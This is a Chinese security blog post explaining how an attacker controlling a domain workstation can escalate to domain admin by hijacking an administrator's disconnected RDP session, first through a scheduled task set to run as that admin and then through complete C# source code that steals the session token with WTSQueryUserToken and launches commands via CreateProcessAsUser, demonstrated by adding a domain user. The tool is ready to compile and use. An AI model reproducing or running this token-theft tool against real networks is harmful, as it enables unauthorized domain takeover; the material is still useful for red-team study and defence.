首页 > 其他分享 >利用断开的域管理员RDP会话提权

利用断开的域管理员RDP会话提权

时间:2024-12-05 17:33:01浏览次数:6  
标签:IntPtr RDP 会话 int 提权 uint bool public string

前言

当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后,退出3389时没有退出账号而是直接关掉了远程桌面,那么会产生哪些风险呢?有些读者第一个想到的肯定就是抓密码,但是如果抓不到明文密码又或者无法pth呢?

通过计划任务完成域内提权

首先模拟域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面:

17327790847792.jpg

然后攻击者可以通过如下方式进行域内提权,已添加域内用户为例,流程为新建计划任务-选择域管用户-执行命令:

选择搜索用户位置为域内:

17327796591422.jpg

选择登录进来的域管用户:

17327791670978.jpg

设置启动的命令:

17327792343287.jpg

然后运行计划任务,可以看到成功添加了域内用户:

17327793214799.jpg

有些读者可能会问了,那是不是选择任意域内用户都行,实际上是不行的,会提示用户未登录:

17327792859107.jpg

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

原理分析

原理实际上也很简单,就是获取进程的token,然后利用CreateProcessAsUser api完成模拟用户token进行进程创建即可。下面提供完整代码,如下代码核心是利用WTSQueryUserToken获取rdp session id token,然后使用CreateProcessAsUser完成进程的创建:

using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;
​
class Program
{
    [DllImport("wtsapi32.dll", SetLastError = true)]
    static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
​
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
​
    [DllImport("userenv.dll", SetLastError = true)]
    static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
​
    [DllImport("userenv.dll", SetLastError = true)]
    static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
​
    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool CreateProcessAsUser(
        IntPtr hToken,
        string lpApplicationName,
        string lpCommandLine,
        IntPtr lpProcessAttributes,
        IntPtr lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags,
        IntPtr lpEnvironment,
        string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);
​
    [StructLayout(LayoutKind.Sequential)]
    struct STARTUPINFO
    {
        public int cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
​
    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }
​
    static void Main(string[] args)
    {
        if (args.Length < 2)
        {
            Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
            return;
        }
​
        int sessionId;
        if (!int.TryParse(args[0], out sessionId))
        {
            Console.WriteLine("Invalid session ID");
            return;
        }
​
        string command = args[1];
        IntPtr userToken = IntPtr.Zero;
        IntPtr envBlock = IntPtr.Zero;
​
        try
        {
            // Get user token for the specified session
            bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
            if (!tokenResult)
            {
                int error = Marshal.GetLastWin32Error();
                throw new Win32Exception(error);
            }
​
            // Create environment block
            bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
            if (!envResult)
            {
                int error = Marshal.GetLastWin32Error();
                throw new Win32Exception(error);
            }
​
            // Prepare startup info
            STARTUPINFO startupInfo = new STARTUPINFO();
            startupInfo.cb = Marshal.SizeOf(startupInfo);
            startupInfo.lpDesktop = "winsta0\\default";
​
            PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
​
            // Create process as user
            bool processResult = CreateProcessAsUser(
                userToken,
                null,
                command,
                IntPtr.Zero,
                IntPtr.Zero,
                false,
                0x00000400, // CREATE_UNICODE_ENVIRONMENT
                envBlock,
                null,
                ref startupInfo,
                out processInfo);
​
            if (!processResult)
            {
                int error = Marshal.GetLastWin32Error();
                throw new Win32Exception(error);
            }
​
            Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);
​
            // Clean up process handles
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error: {0}", ex.Message);
        }
        finally
        {
            // Clean up resources
            if (envBlock != IntPtr.Zero)
            {
                DestroyEnvironmentBlock(envBlock);
            }
            if (userToken != IntPtr.Zero)
            {
                CloseHandle(userToken);
            }
        }
    }
}

编译后进行尝试:

17327794964667.jpg

17327796139010.jpg

成功完成了token窃取并添加了域内用户。

总结

本文通过演示窃取RDP Session Token完成域内提权的目的。

更多网安技能的在线实操练习,请点击这里>>

  

标签:IntPtr,RDP,会话,int,提权,uint,bool,public,string
From: https://www.cnblogs.com/hetianlab/p/18589032

相关文章

  • Prime1_解法一:cms渗透 & 内核漏洞提权
    Prime1_解法一:cms渗透&内核漏洞提权目录Prime1_解法一:cms渗透&内核漏洞提权信息收集主机发现nmap扫描tcp扫描tcp详细扫描22,80端口udp扫描漏洞脚本扫描目录爆破dirsearchWeb渗透wfuzz常见的wfuzz过滤器:获得wordpress后台权限wordpresscms渗透WordPress侦察和枚举版......
  • JavaWeb:会话_过滤器_监听器
    该笔记根据尚硅谷的JavaWeb课程进行整理 一、会话(1)会话管理概述1.1.1为什么需要会话管理HTTP是无状态协议举例:张三去一家饭馆点了几道菜,觉得味道不错,第二天又去了,对老板说,还点上次的那几道菜无状态:老板没有记录张三是否来过,更没有记录他上次点了哪些菜,张三只能重新......
  • Sigrity Power DC Single-BoardPackage ET Co-Simulation模式进行单板电热协同仿真分
    SigrityPowerDCSingle-BoardPackageETCo-Simulation模式进行单板电热协同仿真分析操作指导SigrityPowerDCSingle-BoardPackageIRDropAnalysis模式进行单板压降仿真分析操作指导详细介绍了单板的压降仿真分析流程,下面同样以这个例子进行电热协同仿真分析具体操作......
  • Sigrity Power DC Single-BoardPackage IR Drop Analysis模式进行封装基板压降仿真分
    SigrityPowerDCSingle-BoardPackageIRDropAnalysis模式进行封装基板压降仿真分析操作指导SigrityPowerDCSingle-BoardPackageIRDropAnalysis模式不仅可以用于PCB压降仿真分析,同样也可以用于封装基板的压降仿真分析,以下图为例进行说明具体操作如下双击打开Powe......
  • 如果修改权限后仍然遇到“会话目录写入权限不足”的问题,应该怎么办
    如果修改权限后仍然遇到“会话目录写入权限不足”的问题,可以尝试以下几种方法:检查文件所有者:确保这些目录的文件所有者是Web服务器用户(通常是www-data或apache)。可以使用以下命令检查和修改文件所有者:chown-Rwww-data:www-data/path/to/your/domain/configchown-Rwww-......
  • 最完整WordPress教程:从入门到进阶零基础
    目录 01我们可以用WordPress构建哪些网站?02WordPress.com与WordPress.org03WordPress安装04WordPress安装完成后基础操作 你或许听说过WordPress,但并不确定它具体是什么东西。首先来个简单的科普:WordPress是一个广泛使用的开源内容管理系统(CMS),任何人都可以免费使用。......
  • Linux提权之八大实战利器与高权限操作技巧
    文章目录LINUX提权0x01.SUID提权chmod命令Find命令(查找有SUID权限的文件)find提权nmap提权vim提权Bash提权Less或More提权nano提权CP提权awk提权0x02sudo提权0x03计划任务提权0x04内核漏洞提权0x05环境变量劫持提权0x06NFS提权0x07通配符WS提权0x08明文密码提权0x9lx......
  • 【Windows】Windows中的IPC$共享和null会话
    一、IPC$共享IPC(InternetProcessConnection)是共享“命名管道”的资源,它是Windows操作系统(特别是NT/2000及以上版本)中用于进程间通信的一种机制。通过IPC,连接双方可以建立安全的通道,并在此通道上进行加密数据的交换,从而实现对远程计算机的访问和管理。以下是对IPC$共享知识的详细......
  • ubuntu18.04安装xrdp后虚拟机桌面能登录不能点击,界面假死
    前言全局说明ubuntu18.04安装xrdp后虚拟机桌面不能点击,界面假死查看xrdp安装过程中,有些卸载后要更新的文件没有安装上导致桌面失效一、说明环境:Ubuntu18.04.6LTS(Linuxqt-vm5.4.0-150-generic#167~18.04.1-UbuntuSMPWedMay2400:51:42UTC2023x86_64x86_......
  • 抖店飞鸽客服自动化插件-自动回复或自动转接会话
    当自动回复的机器人客服无法解决的一些问题,比如投诉,退款等自动转接给其他人工控制的客服 抖店飞鸽客服后台地址为https://im.jinritemai.com/pc_seller_v2/main/workspace飞鸽客服创建子账号地址https://fxg.jinritemai.com/ffa/w/subaccount/employee      ......